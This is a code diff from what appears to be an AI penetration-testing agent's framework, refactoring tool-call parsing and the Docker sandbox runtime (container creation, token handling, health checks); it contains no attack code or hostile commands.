"""Resolve a strix/ model into names for API calls and capability lookups.
|
||||||
|
|
||||||
|
Returns (api_model, canonical_model):
|
||||||
|
- api_model: openai/<base> for API calls (Strix API is OpenAI-compatible)
|
||||||
|
- canonical_model: actual provider model name for litellm capability lookups
|
||||||
|
Non-strix models return the same name for both.
|
||||||
|
"""
|
||||||
|
if not model_name or not model_name.startswith("strix/"):
|
||||||
|
return model_name, model_name
|
||||||
|
|
||||||
|
base_model = model_name[6:]
|
||||||
|
api_model = f"openai/{base_model}"
|
||||||
|
canonical_model = STRIX_MODEL_MAP.get(base_model, api_model)
|
||||||
|
return api_model, canonical_model
|
||||||
|
|
||||||
|
|
||||||
def _truncate_to_first_function(content: str) -> str:
|
def _truncate_to_first_function(content: str) -> str:
|
||||||
if not content:
|
if not content:
|
||||||
return content
|
return content
|
||||||
|
|
||||||
function_starts = [match.start() for match in re.finditer(r"<function=", content)]
|
function_starts = [
|
||||||
|
match.start() for match in re.finditer(r"<function=|<invoke\s+name=", content)
|
||||||
|
]
|
||||||
|
|
||||||
if len(function_starts) >= 2:
|
if len(function_starts) >= 2:
|
||||||
second_function_start = function_starts[1]
|
second_function_start = function_starts[1]
|
||||||
@@ -18,6 +82,7 @@ def _truncate_to_first_function(content: str) -> str:
|
|||||||
|
|
||||||
|
|
||||||
def parse_tool_invocations(content: str) -> list[dict[str, Any]] | None:
|
def parse_tool_invocations(content: str) -> list[dict[str, Any]] | None:
|
||||||
|
content = normalize_tool_format(content)
|
||||||
content = fix_incomplete_tool_call(content)
|
content = fix_incomplete_tool_call(content)
|
||||||
|
|
||||||
tool_invocations: list[dict[str, Any]] = []
|
tool_invocations: list[dict[str, Any]] = []
|
||||||
@@ -47,12 +112,14 @@ def parse_tool_invocations(content: str) -> list[dict[str, Any]] | None:
|
|||||||
|
|
||||||
|
|
||||||
def fix_incomplete_tool_call(content: str) -> str:
|
def fix_incomplete_tool_call(content: str) -> str:
|
||||||
"""Fix incomplete tool calls by adding missing </function> tag."""
|
"""Fix incomplete tool calls by adding missing closing tag.
|
||||||
if (
|
|
||||||
"<function=" in content
|
Handles both ``<function=…>`` and ``<invoke name="…">`` formats.
|
||||||
and content.count("<function=") == 1
|
"""
|
||||||
and "</function>" not in content
|
has_open = "<function=" in content or "<invoke " in content
|
||||||
):
|
count_open = content.count("<function=") + content.count("<invoke ")
|
||||||
|
has_close = "</function>" in content or "</invoke>" in content
|
||||||
|
if has_open and count_open == 1 and not has_close:
|
||||||
content = content.rstrip()
|
content = content.rstrip()
|
||||||
content = content + "function>" if content.endswith("</") else content + "\n</function>"
|
content = content + "function>" if content.endswith("</") else content + "\n</function>"
|
||||||
return content
|
return content
|
||||||
@@ -73,6 +140,7 @@ def clean_content(content: str) -> str:
|
|||||||
if not content:
|
if not content:
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
|
content = normalize_tool_format(content)
|
||||||
content = fix_incomplete_tool_call(content)
|
content = fix_incomplete_tool_call(content)
|
||||||
|
|
||||||
tool_pattern = r"<function=[^>]+>.*?</function>"
|
tool_pattern = r"<function=[^>]+>.*?</function>"
|
||||||
|
|||||||
@@ -12,17 +12,32 @@ class SandboxInitializationError(Exception):
|
|||||||
self.details = details
|
self.details = details
|
||||||
|
|
||||||
|
|
||||||
|
_global_runtime: AbstractRuntime | None = None
|
||||||
|
|
||||||
|
|
||||||
def get_runtime() -> AbstractRuntime:
|
def get_runtime() -> AbstractRuntime:
|
||||||
|
global _global_runtime # noqa: PLW0603
|
||||||
|
|
||||||
runtime_backend = Config.get("strix_runtime_backend")
|
runtime_backend = Config.get("strix_runtime_backend")
|
||||||
|
|
||||||
if runtime_backend == "docker":
|
if runtime_backend == "docker":
|
||||||
from .docker_runtime import DockerRuntime
|
from .docker_runtime import DockerRuntime
|
||||||
|
|
||||||
return DockerRuntime()
|
if _global_runtime is None:
|
||||||
|
_global_runtime = DockerRuntime()
|
||||||
|
return _global_runtime
|
||||||
|
|
||||||
raise ValueError(
|
raise ValueError(
|
||||||
f"Unsupported runtime backend: {runtime_backend}. Only 'docker' is supported for now."
|
f"Unsupported runtime backend: {runtime_backend}. Only 'docker' is supported for now."
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
__all__ = ["AbstractRuntime", "SandboxInitializationError", "get_runtime"]
|
def cleanup_runtime() -> None:
|
||||||
|
global _global_runtime # noqa: PLW0603
|
||||||
|
|
||||||
|
if _global_runtime is not None:
|
||||||
|
_global_runtime.cleanup()
|
||||||
|
_global_runtime = None
|
||||||
|
|
||||||
|
|
||||||
|
__all__ = ["AbstractRuntime", "SandboxInitializationError", "cleanup_runtime", "get_runtime"]
|
||||||
|
|||||||
@@ -1,15 +1,13 @@
|
|||||||
import contextlib
|
import contextlib
|
||||||
import logging
|
|
||||||
import os
|
import os
|
||||||
import secrets
|
import secrets
|
||||||
import socket
|
import socket
|
||||||
import time
|
import time
|
||||||
from concurrent.futures import ThreadPoolExecutor
|
|
||||||
from concurrent.futures import TimeoutError as FuturesTimeoutError
|
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Any, cast
|
from typing import cast
|
||||||
|
|
||||||
import docker
|
import docker
|
||||||
|
import httpx
|
||||||
from docker.errors import DockerException, ImageNotFound, NotFound
|
from docker.errors import DockerException, ImageNotFound, NotFound
|
||||||
from docker.models.containers import Container
|
from docker.models.containers import Container
|
||||||
from requests.exceptions import ConnectionError as RequestsConnectionError
|
from requests.exceptions import ConnectionError as RequestsConnectionError
|
||||||
@@ -22,10 +20,8 @@ from .runtime import AbstractRuntime, SandboxInfo
|
|||||||
|
|
||||||
|
|
||||||
HOST_GATEWAY_HOSTNAME = "host.docker.internal"
|
HOST_GATEWAY_HOSTNAME = "host.docker.internal"
|
||||||
DOCKER_TIMEOUT = 60 # seconds
|
DOCKER_TIMEOUT = 60
|
||||||
TOOL_SERVER_HEALTH_REQUEST_TIMEOUT = 5 # seconds per health check request
|
CONTAINER_TOOL_SERVER_PORT = 48081
|
||||||
TOOL_SERVER_HEALTH_RETRIES = 10 # number of retries for health check
|
|
||||||
logger = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class DockerRuntime(AbstractRuntime):
|
class DockerRuntime(AbstractRuntime):
|
||||||
@@ -33,50 +29,20 @@ class DockerRuntime(AbstractRuntime):
|
|||||||
try:
|
try:
|
||||||
self.client = docker.from_env(timeout=DOCKER_TIMEOUT)
|
self.client = docker.from_env(timeout=DOCKER_TIMEOUT)
|
||||||
except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
|
except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
|
||||||
logger.exception("Failed to connect to Docker daemon")
|
|
||||||
if isinstance(e, RequestsConnectionError | RequestsTimeout):
|
|
||||||
raise SandboxInitializationError(
|
|
||||||
"Docker daemon unresponsive",
|
|
||||||
f"Connection timed out after {DOCKER_TIMEOUT} seconds. "
|
|
||||||
"Please ensure Docker Desktop is installed and running, "
|
|
||||||
"and try running strix again.",
|
|
||||||
) from e
|
|
||||||
raise SandboxInitializationError(
|
raise SandboxInitializationError(
|
||||||
"Docker is not available",
|
"Docker is not available",
|
||||||
"Docker is not available or not configured correctly. "
|
"Please ensure Docker Desktop is installed and running.",
|
||||||
"Please ensure Docker Desktop is installed and running, "
|
|
||||||
"and try running strix again.",
|
|
||||||
) from e
|
) from e
|
||||||
|
|
||||||
self._scan_container: Container | None = None
|
self._scan_container: Container | None = None
|
||||||
self._tool_server_port: int | None = None
|
self._tool_server_port: int | None = None
|
||||||
self._tool_server_token: str | None = None
|
self._tool_server_token: str | None = None
|
||||||
|
|
||||||
def _generate_sandbox_token(self) -> str:
|
|
||||||
return secrets.token_urlsafe(32)
|
|
||||||
|
|
||||||
def _find_available_port(self) -> int:
|
def _find_available_port(self) -> int:
|
||||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||||
s.bind(("", 0))
|
s.bind(("", 0))
|
||||||
return cast("int", s.getsockname()[1])
|
return cast("int", s.getsockname()[1])
|
||||||
|
|
||||||
def _exec_run_with_timeout(
|
|
||||||
self, container: Container, cmd: str, timeout: int = DOCKER_TIMEOUT, **kwargs: Any
|
|
||||||
) -> Any:
|
|
||||||
with ThreadPoolExecutor(max_workers=1) as executor:
|
|
||||||
future = executor.submit(container.exec_run, cmd, **kwargs)
|
|
||||||
try:
|
|
||||||
return future.result(timeout=timeout)
|
|
||||||
except FuturesTimeoutError:
|
|
||||||
logger.exception(f"exec_run timed out after {timeout}s: {cmd[:100]}...")
|
|
||||||
raise SandboxInitializationError(
|
|
||||||
"Container command timed out",
|
|
||||||
f"Command timed out after {timeout} seconds. "
|
|
||||||
"Docker may be overloaded or unresponsive. "
|
|
||||||
"Please ensure Docker Desktop is installed and running, "
|
|
||||||
"and try running strix again.",
|
|
||||||
) from None
|
|
||||||
|
|
||||||
def _get_scan_id(self, agent_id: str) -> str:
|
def _get_scan_id(self, agent_id: str) -> str:
|
||||||
try:
|
try:
|
||||||
from strix.telemetry.tracer import get_global_tracer
|
from strix.telemetry.tracer import get_global_tracer
|
||||||
@@ -84,129 +50,118 @@ class DockerRuntime(AbstractRuntime):
|
|||||||
tracer = get_global_tracer()
|
tracer = get_global_tracer()
|
||||||
if tracer and tracer.scan_config:
|
if tracer and tracer.scan_config:
|
||||||
return str(tracer.scan_config.get("scan_id", "default-scan"))
|
return str(tracer.scan_config.get("scan_id", "default-scan"))
|
||||||
except ImportError:
|
except (ImportError, AttributeError):
|
||||||
logger.debug("Failed to import tracer, using fallback scan ID")
|
pass
|
||||||
except AttributeError:
|
|
||||||
logger.debug("Tracer missing scan_config, using fallback scan ID")
|
|
||||||
|
|
||||||
return f"scan-{agent_id.split('-')[0]}"
|
return f"scan-{agent_id.split('-')[0]}"
|
||||||
|
|
||||||
def _verify_image_available(self, image_name: str, max_retries: int = 3) -> None:
|
def _verify_image_available(self, image_name: str, max_retries: int = 3) -> None:
|
||||||
def _validate_image(image: docker.models.images.Image) -> None:
|
|
||||||
if not image.id or not image.attrs:
|
|
||||||
raise ImageNotFound(f"Image {image_name} metadata incomplete")
|
|
||||||
|
|
||||||
for attempt in range(max_retries):
|
for attempt in range(max_retries):
|
||||||
try:
|
try:
|
||||||
image = self.client.images.get(image_name)
|
image = self.client.images.get(image_name)
|
||||||
_validate_image(image)
|
if not image.id or not image.attrs:
|
||||||
except ImageNotFound:
|
raise ImageNotFound(f"Image {image_name} metadata incomplete") # noqa: TRY301
|
||||||
|
except (ImageNotFound, DockerException):
|
||||||
if attempt == max_retries - 1:
|
if attempt == max_retries - 1:
|
||||||
logger.exception(f"Image {image_name} not found after {max_retries} attempts")
|
|
||||||
raise
|
raise
|
||||||
logger.warning(f"Image {image_name} not ready, attempt {attempt + 1}/{max_retries}")
|
|
||||||
time.sleep(2**attempt)
|
|
||||||
except DockerException:
|
|
||||||
if attempt == max_retries - 1:
|
|
||||||
logger.exception(f"Failed to verify image {image_name}")
|
|
||||||
raise
|
|
||||||
logger.warning(f"Docker error verifying image, attempt {attempt + 1}/{max_retries}")
|
|
||||||
time.sleep(2**attempt)
|
time.sleep(2**attempt)
|
||||||
else:
|
else:
|
||||||
logger.debug(f"Image {image_name} verified as available")
|
|
||||||
return
|
return
|
||||||
|
|
||||||
def _create_container_with_retry(self, scan_id: str, max_retries: int = 3) -> Container:
|
def _recover_container_state(self, container: Container) -> None:
|
||||||
last_exception = None
|
for env_var in container.attrs["Config"]["Env"]:
|
||||||
|
if env_var.startswith("TOOL_SERVER_TOKEN="):
|
||||||
|
self._tool_server_token = env_var.split("=", 1)[1]
|
||||||
|
break
|
||||||
|
|
||||||
|
port_bindings = container.attrs.get("NetworkSettings", {}).get("Ports", {})
|
||||||
|
port_key = f"{CONTAINER_TOOL_SERVER_PORT}/tcp"
|
||||||
|
if port_bindings.get(port_key):
|
||||||
|
self._tool_server_port = int(port_bindings[port_key][0]["HostPort"])
|
||||||
|
|
||||||
|
def _wait_for_tool_server(self, max_retries: int = 30, timeout: int = 5) -> None:
|
||||||
|
host = self._resolve_docker_host()
|
||||||
|
health_url = f"http://{host}:{self._tool_server_port}/health"
|
||||||
|
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
|
for attempt in range(max_retries):
|
||||||
|
try:
|
||||||
|
with httpx.Client(trust_env=False, timeout=timeout) as client:
|
||||||
|
response = client.get(health_url)
|
||||||
|
if response.status_code == 200:
|
||||||
|
data = response.json()
|
||||||
|
if data.get("status") == "healthy":
|
||||||
|
return
|
||||||
|
except (httpx.ConnectError, httpx.TimeoutException, httpx.RequestError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
time.sleep(min(2**attempt * 0.5, 5))
|
||||||
|
|
||||||
|
raise SandboxInitializationError(
|
||||||
|
"Tool server failed to start",
|
||||||
|
"Container initialization timed out. Please try again.",
|
||||||
|
)
|
||||||
|
|
||||||
|
def _create_container(self, scan_id: str, max_retries: int = 2) -> Container:
|
||||||
container_name = f"strix-scan-{scan_id}"
|
container_name = f"strix-scan-{scan_id}"
|
||||||
image_name = Config.get("strix_image")
|
image_name = Config.get("strix_image")
|
||||||
if not image_name:
|
if not image_name:
|
||||||
raise ValueError("STRIX_IMAGE must be configured")
|
raise ValueError("STRIX_IMAGE must be configured")
|
||||||
|
|
||||||
for attempt in range(max_retries):
|
self._verify_image_available(image_name)
|
||||||
|
|
||||||
|
last_error: Exception | None = None
|
||||||
|
for attempt in range(max_retries + 1):
|
||||||
try:
|
try:
|
||||||
self._verify_image_available(image_name)
|
with contextlib.suppress(NotFound):
|
||||||
|
existing = self.client.containers.get(container_name)
|
||||||
try:
|
|
||||||
existing_container = self.client.containers.get(container_name)
|
|
||||||
logger.warning(f"Container {container_name} already exists, removing it")
|
|
||||||
with contextlib.suppress(Exception):
|
with contextlib.suppress(Exception):
|
||||||
existing_container.stop(timeout=5)
|
existing.stop(timeout=5)
|
||||||
existing_container.remove(force=True)
|
existing.remove(force=True)
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
except NotFound:
|
|
||||||
pass
|
|
||||||
except DockerException as e:
|
|
||||||
logger.warning(f"Error checking/removing existing container: {e}")
|
|
||||||
|
|
||||||
caido_port = self._find_available_port()
|
self._tool_server_port = self._find_available_port()
|
||||||
tool_server_port = self._find_available_port()
|
self._tool_server_token = secrets.token_urlsafe(32)
|
||||||
tool_server_token = self._generate_sandbox_token()
|
execution_timeout = Config.get("strix_sandbox_execution_timeout") or "120"
|
||||||
|
|
||||||
self._tool_server_port = tool_server_port
|
|
||||||
self._tool_server_token = tool_server_token
|
|
||||||
|
|
||||||
container = self.client.containers.run(
|
container = self.client.containers.run(
|
||||||
image_name,
|
image_name,
|
||||||
command="sleep infinity",
|
command="sleep infinity",
|
||||||
detach=True,
|
detach=True,
|
||||||
name=container_name,
|
name=container_name,
|
||||||
hostname=f"strix-scan-{scan_id}",
|
hostname=container_name,
|
||||||
ports={
|
ports={f"{CONTAINER_TOOL_SERVER_PORT}/tcp": self._tool_server_port},
|
||||||
f"{caido_port}/tcp": caido_port,
|
|
||||||
f"{tool_server_port}/tcp": tool_server_port,
|
|
||||||
},
|
|
||||||
cap_add=["NET_ADMIN", "NET_RAW"],
|
cap_add=["NET_ADMIN", "NET_RAW"],
|
||||||
labels={"strix-scan-id": scan_id},
|
labels={"strix-scan-id": scan_id},
|
||||||
environment={
|
environment={
|
||||||
"PYTHONUNBUFFERED": "1",
|
"PYTHONUNBUFFERED": "1",
|
||||||
"CAIDO_PORT": str(caido_port),
|
"TOOL_SERVER_PORT": str(CONTAINER_TOOL_SERVER_PORT),
|
||||||
"TOOL_SERVER_PORT": str(tool_server_port),
|
"TOOL_SERVER_TOKEN": self._tool_server_token,
|
||||||
"TOOL_SERVER_TOKEN": tool_server_token,
|
"STRIX_SANDBOX_EXECUTION_TIMEOUT": str(execution_timeout),
|
||||||
"HOST_GATEWAY": HOST_GATEWAY_HOSTNAME,
|
"HOST_GATEWAY": HOST_GATEWAY_HOSTNAME,
|
||||||
},
|
},
|
||||||
extra_hosts=self._get_extra_hosts(),
|
extra_hosts={HOST_GATEWAY_HOSTNAME: "host-gateway"},
|
||||||
tty=True,
|
tty=True,
|
||||||
)
|
)
|
||||||
|
|
||||||
self._scan_container = container
|
self._scan_container = container
|
||||||
logger.info("Created container %s for scan %s", container.id, scan_id)
|
self._wait_for_tool_server()
|
||||||
|
|
||||||
self._initialize_container(
|
|
||||||
container, caido_port, tool_server_port, tool_server_token
|
|
||||||
)
|
|
||||||
except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
|
except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
|
||||||
last_exception = e
|
last_error = e
|
||||||
if attempt == max_retries - 1:
|
if attempt < max_retries:
|
||||||
logger.exception(f"Failed to create container after {max_retries} attempts")
|
self._tool_server_port = None
|
||||||
break
|
self._tool_server_token = None
|
||||||
|
time.sleep(2**attempt)
|
||||||
logger.warning(f"Container creation attempt {attempt + 1}/{max_retries} failed")
|
|
||||||
|
|
||||||
self._tool_server_port = None
|
|
||||||
self._tool_server_token = None
|
|
||||||
|
|
||||||
sleep_time = (2**attempt) + (0.1 * attempt)
|
|
||||||
time.sleep(sleep_time)
|
|
||||||
else:
|
else:
|
||||||
return container
|
return container
|
||||||
|
|
||||||
if isinstance(last_exception, RequestsConnectionError | RequestsTimeout):
|
|
||||||
raise SandboxInitializationError(
|
|
||||||
"Failed to create sandbox container",
|
|
||||||
f"Docker daemon unresponsive after {max_retries} attempts "
|
|
||||||
f"(timed out after {DOCKER_TIMEOUT}s). "
|
|
||||||
"Please ensure Docker Desktop is installed and running, "
|
|
||||||
"and try running strix again.",
|
|
||||||
) from last_exception
|
|
||||||
raise SandboxInitializationError(
|
raise SandboxInitializationError(
|
||||||
"Failed to create sandbox container",
|
"Failed to create container",
|
||||||
f"Container creation failed after {max_retries} attempts: {last_exception}. "
|
f"Container creation failed after {max_retries + 1} attempts: {last_error}",
|
||||||
"Please ensure Docker Desktop is installed and running, "
|
) from last_error
|
||||||
"and try running strix again.",
|
|
||||||
) from last_exception
|
|
||||||
|
|
||||||
def _get_or_create_scan_container(self, scan_id: str) -> Container: # noqa: PLR0912
|
def _get_or_create_container(self, scan_id: str) -> Container:
|
||||||
container_name = f"strix-scan-{scan_id}"
|
container_name = f"strix-scan-{scan_id}"
|
||||||
|
|
||||||
if self._scan_container:
|
if self._scan_container:
|
||||||
@@ -223,33 +178,14 @@ class DockerRuntime(AbstractRuntime):
|
|||||||
container = self.client.containers.get(container_name)
|
container = self.client.containers.get(container_name)
|
||||||
container.reload()
|
container.reload()
|
||||||
|
|
||||||
if (
|
|
||||||
"strix-scan-id" not in container.labels
|
|
||||||
or container.labels["strix-scan-id"] != scan_id
|
|
||||||
):
|
|
||||||
logger.warning(
|
|
||||||
f"Container {container_name} exists but missing/wrong label, updating"
|
|
||||||
)
|
|
||||||
|
|
||||||
if container.status != "running":
|
if container.status != "running":
|
||||||
logger.info(f"Starting existing container {container_name}")
|
|
||||||
container.start()
|
container.start()
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
|
|
||||||
self._scan_container = container
|
self._scan_container = container
|
||||||
|
self._recover_container_state(container)
|
||||||
for env_var in container.attrs["Config"]["Env"]:
|
|
||||||
if env_var.startswith("TOOL_SERVER_PORT="):
|
|
||||||
self._tool_server_port = int(env_var.split("=")[1])
|
|
||||||
elif env_var.startswith("TOOL_SERVER_TOKEN="):
|
|
||||||
self._tool_server_token = env_var.split("=")[1]
|
|
||||||
|
|
||||||
logger.info(f"Reusing existing container {container_name}")
|
|
||||||
|
|
||||||
except NotFound:
|
except NotFound:
|
||||||
pass
|
pass
|
||||||
except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
|
|
||||||
logger.warning(f"Failed to get container by name {container_name}: {e}")
|
|
||||||
else:
|
else:
|
||||||
return container
|
return container
|
||||||
|
|
||||||
@@ -262,101 +198,14 @@ class DockerRuntime(AbstractRuntime):
|
|||||||
if container.status != "running":
|
if container.status != "running":
|
||||||
container.start()
|
container.start()
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
|
|
||||||
self._scan_container = container
|
self._scan_container = container
|
||||||
|
self._recover_container_state(container)
|
||||||
for env_var in container.attrs["Config"]["Env"]:
|
|
||||||
if env_var.startswith("TOOL_SERVER_PORT="):
|
|
||||||
self._tool_server_port = int(env_var.split("=")[1])
|
|
||||||
elif env_var.startswith("TOOL_SERVER_TOKEN="):
|
|
||||||
self._tool_server_token = env_var.split("=")[1]
|
|
||||||
|
|
||||||
logger.info(f"Found existing container by label for scan {scan_id}")
|
|
||||||
return container
|
return container
|
||||||
except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
|
except DockerException:
|
||||||
logger.warning("Failed to find existing container by label for scan %s: %s", scan_id, e)
|
pass
|
||||||
|
|
||||||
logger.info("Creating new Docker container for scan %s", scan_id)
|
return self._create_container(scan_id)
|
||||||
return self._create_container_with_retry(scan_id)
|
|
||||||
|
|
||||||
def _initialize_container(
|
|
||||||
self, container: Container, caido_port: int, tool_server_port: int, tool_server_token: str
|
|
||||||
) -> None:
|
|
||||||
logger.info("Initializing Caido proxy on port %s", caido_port)
|
|
||||||
self._exec_run_with_timeout(
|
|
||||||
container,
|
|
||||||
f"bash -c 'export CAIDO_PORT={caido_port} && /usr/local/bin/docker-entrypoint.sh true'",
|
|
||||||
detach=False,
|
|
||||||
)
|
|
||||||
|
|
||||||
time.sleep(5)
|
|
||||||
|
|
||||||
result = self._exec_run_with_timeout(
|
|
||||||
container,
|
|
||||||
"bash -c 'source /etc/profile.d/proxy.sh && echo $CAIDO_API_TOKEN'",
|
|
||||||
user="pentester",
|
|
||||||
)
|
|
||||||
caido_token = result.output.decode().strip() if result.exit_code == 0 else ""
|
|
||||||
|
|
||||||
container.exec_run(
|
|
||||||
f"bash -c 'source /etc/profile.d/proxy.sh && cd /app && "
|
|
||||||
f"STRIX_SANDBOX_MODE=true CAIDO_API_TOKEN={caido_token} CAIDO_PORT={caido_port} "
|
|
||||||
f"poetry run python strix/runtime/tool_server.py --token {tool_server_token} "
|
|
||||||
f"--host 0.0.0.0 --port {tool_server_port} &'",
|
|
||||||
detach=True,
|
|
||||||
user="pentester",
|
|
||||||
)
|
|
||||||
|
|
||||||
time.sleep(2)
|
|
||||||
|
|
||||||
host = self._resolve_docker_host()
|
|
||||||
health_url = f"http://{host}:{tool_server_port}/health"
|
|
||||||
self._wait_for_tool_server_health(health_url)
|
|
||||||
|
|
||||||
def _wait_for_tool_server_health(
|
|
||||||
self,
|
|
||||||
health_url: str,
|
|
||||||
max_retries: int = TOOL_SERVER_HEALTH_RETRIES,
|
|
||||||
request_timeout: int = TOOL_SERVER_HEALTH_REQUEST_TIMEOUT,
|
|
||||||
) -> None:
|
|
||||||
import httpx
|
|
||||||
|
|
||||||
logger.info(f"Waiting for tool server health at {health_url}")
|
|
||||||
|
|
||||||
for attempt in range(max_retries):
|
|
||||||
try:
|
|
||||||
with httpx.Client(trust_env=False, timeout=request_timeout) as client:
|
|
||||||
response = client.get(health_url)
|
|
||||||
response.raise_for_status()
|
|
||||||
health_data = response.json()
|
|
||||||
|
|
||||||
if health_data.get("status") == "healthy":
|
|
||||||
logger.info(
|
|
||||||
f"Tool server is healthy after {attempt + 1} attempt(s): {health_data}"
|
|
||||||
)
|
|
||||||
return
|
|
||||||
|
|
||||||
logger.warning(f"Tool server returned unexpected status: {health_data}")
|
|
||||||
|
|
||||||
except httpx.ConnectError:
|
|
||||||
logger.debug(
|
|
||||||
f"Tool server not ready (attempt {attempt + 1}/{max_retries}): "
|
|
||||||
f"Connection refused"
|
|
||||||
)
|
|
||||||
except httpx.TimeoutException:
|
|
||||||
logger.debug(
|
|
||||||
f"Tool server not ready (attempt {attempt + 1}/{max_retries}): "
|
|
||||||
f"Request timed out"
|
|
||||||
)
|
|
||||||
except (httpx.RequestError, httpx.HTTPStatusError) as e:
|
|
||||||
logger.debug(f"Tool server not ready (attempt {attempt + 1}/{max_retries}): {e}")
|
|
||||||
|
|
||||||
sleep_time = min(2**attempt * 0.5, 5)
|
|
||||||
time.sleep(sleep_time)
|
|
||||||
|
|
||||||
raise SandboxInitializationError(
|
|
||||||
"Tool server failed to start",
|
|
||||||
"Please ensure Docker Desktop is installed and running, and try running strix again.",
|
|
||||||
)
|
|
||||||
|
|
||||||
def _copy_local_directory_to_container(
|
def _copy_local_directory_to_container(
|
||||||
self, container: Container, local_path: str, target_name: str | None = None
|
self, container: Container, local_path: str, target_name: str | None = None
|
||||||
@@ -367,17 +216,8 @@ class DockerRuntime(AbstractRuntime):
|
|||||||
try:
|
try:
|
||||||
local_path_obj = Path(local_path).resolve()
|
local_path_obj = Path(local_path).resolve()
|
||||||
if not local_path_obj.exists() or not local_path_obj.is_dir():
|
if not local_path_obj.exists() or not local_path_obj.is_dir():
|
||||||
logger.warning(f"Local path does not exist or is not directory: {local_path_obj}")
|
|
||||||
return
|
return
|
||||||
|
|
||||||
if target_name:
|
|
||||||
logger.info(
|
|
||||||
f"Copying local directory {local_path_obj} to container at "
|
|
||||||
f"/workspace/{target_name}"
|
|
||||||
)
|
|
||||||
else:
|
|
||||||
logger.info(f"Copying local directory {local_path_obj} to container")
|
|
||||||
|
|
||||||
tar_buffer = BytesIO()
|
tar_buffer = BytesIO()
|
||||||
with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
|
with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
|
||||||
for item in local_path_obj.rglob("*"):
|
for item in local_path_obj.rglob("*"):
|
||||||
@@ -388,16 +228,12 @@ class DockerRuntime(AbstractRuntime):
|
|||||||
|
|
||||||
tar_buffer.seek(0)
|
tar_buffer.seek(0)
|
||||||
container.put_archive("/workspace", tar_buffer.getvalue())
|
container.put_archive("/workspace", tar_buffer.getvalue())
|
||||||
|
|
||||||
container.exec_run(
|
container.exec_run(
|
||||||
"chown -R pentester:pentester /workspace && chmod -R 755 /workspace",
|
"chown -R pentester:pentester /workspace && chmod -R 755 /workspace",
|
||||||
user="root",
|
user="root",
|
||||||
)
|
)
|
||||||
|
|
||||||
logger.info("Successfully copied local directory to /workspace")
|
|
||||||
|
|
||||||
except (OSError, DockerException):
|
except (OSError, DockerException):
|
||||||
logger.exception("Failed to copy local directory to container")
|
pass
|
||||||
|
|
||||||
async def create_sandbox(
|
async def create_sandbox(
|
||||||
self,
|
self,
|
||||||
@@ -406,7 +242,7 @@ class DockerRuntime(AbstractRuntime):
|
|||||||
local_sources: list[dict[str, str]] | None = None,
|
local_sources: list[dict[str, str]] | None = None,
|
||||||
) -> SandboxInfo:
|
) -> SandboxInfo:
|
||||||
scan_id = self._get_scan_id(agent_id)
|
scan_id = self._get_scan_id(agent_id)
|
||||||
container = self._get_or_create_scan_container(scan_id)
|
container = self._get_or_create_container(scan_id)
|
||||||
|
|
||||||
source_copied_key = f"_source_copied_{scan_id}"
|
source_copied_key = f"_source_copied_{scan_id}"
|
||||||
if local_sources and not hasattr(self, source_copied_key):
|
if local_sources and not hasattr(self, source_copied_key):
|
||||||
@@ -414,40 +250,33 @@ class DockerRuntime(AbstractRuntime):
|
|||||||
source_path = source.get("source_path")
|
source_path = source.get("source_path")
|
||||||
if not source_path:
|
if not source_path:
|
||||||
continue
|
continue
|
||||||
|
target_name = (
|
||||||
target_name = source.get("workspace_subdir")
|
source.get("workspace_subdir") or Path(source_path).name or f"target_{index}"
|
||||||
if not target_name:
|
)
|
||||||
target_name = Path(source_path).name or f"target_{index}"
|
|
||||||
|
|
||||||
self._copy_local_directory_to_container(container, source_path, target_name)
|
self._copy_local_directory_to_container(container, source_path, target_name)
|
||||||
setattr(self, source_copied_key, True)
|
setattr(self, source_copied_key, True)
|
||||||
|
|
||||||
container_id = container.id
|
if container.id is None:
|
||||||
if container_id is None:
|
|
||||||
raise RuntimeError("Docker container ID is unexpectedly None")
|
raise RuntimeError("Docker container ID is unexpectedly None")
|
||||||
|
|
||||||
token = existing_token if existing_token is not None else self._tool_server_token
|
token = existing_token or self._tool_server_token
|
||||||
|
|
||||||
if self._tool_server_port is None or token is None:
|
if self._tool_server_port is None or token is None:
|
||||||
raise RuntimeError("Tool server not initialized or no token available")
|
raise RuntimeError("Tool server not initialized")
|
||||||
|
|
||||||
api_url = await self.get_sandbox_url(container_id, self._tool_server_port)
|
host = self._resolve_docker_host()
|
||||||
|
api_url = f"http://{host}:{self._tool_server_port}"
|
||||||
|
|
||||||
await self._register_agent_with_tool_server(api_url, agent_id, token)
|
await self._register_agent(api_url, agent_id, token)
|
||||||
|
|
||||||
return {
|
return {
|
||||||
"workspace_id": container_id,
|
"workspace_id": container.id,
|
||||||
"api_url": api_url,
|
"api_url": api_url,
|
||||||
"auth_token": token,
|
"auth_token": token,
|
||||||
"tool_server_port": self._tool_server_port,
|
"tool_server_port": self._tool_server_port,
|
||||||
"agent_id": agent_id,
|
"agent_id": agent_id,
|
||||||
}
|
}
|
||||||
|
|
||||||
async def _register_agent_with_tool_server(
|
async def _register_agent(self, api_url: str, agent_id: str, token: str) -> None:
|
||||||
self, api_url: str, agent_id: str, token: str
|
|
||||||
) -> None:
|
|
||||||
import httpx
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
async with httpx.AsyncClient(trust_env=False) as client:
|
async with httpx.AsyncClient(trust_env=False) as client:
|
||||||
response = await client.post(
|
response = await client.post(
|
||||||
@@ -457,54 +286,52 @@ class DockerRuntime(AbstractRuntime):
|
|||||||
timeout=30,
|
timeout=30,
|
||||||
)
|
)
|
||||||
response.raise_for_status()
|
response.raise_for_status()
|
||||||
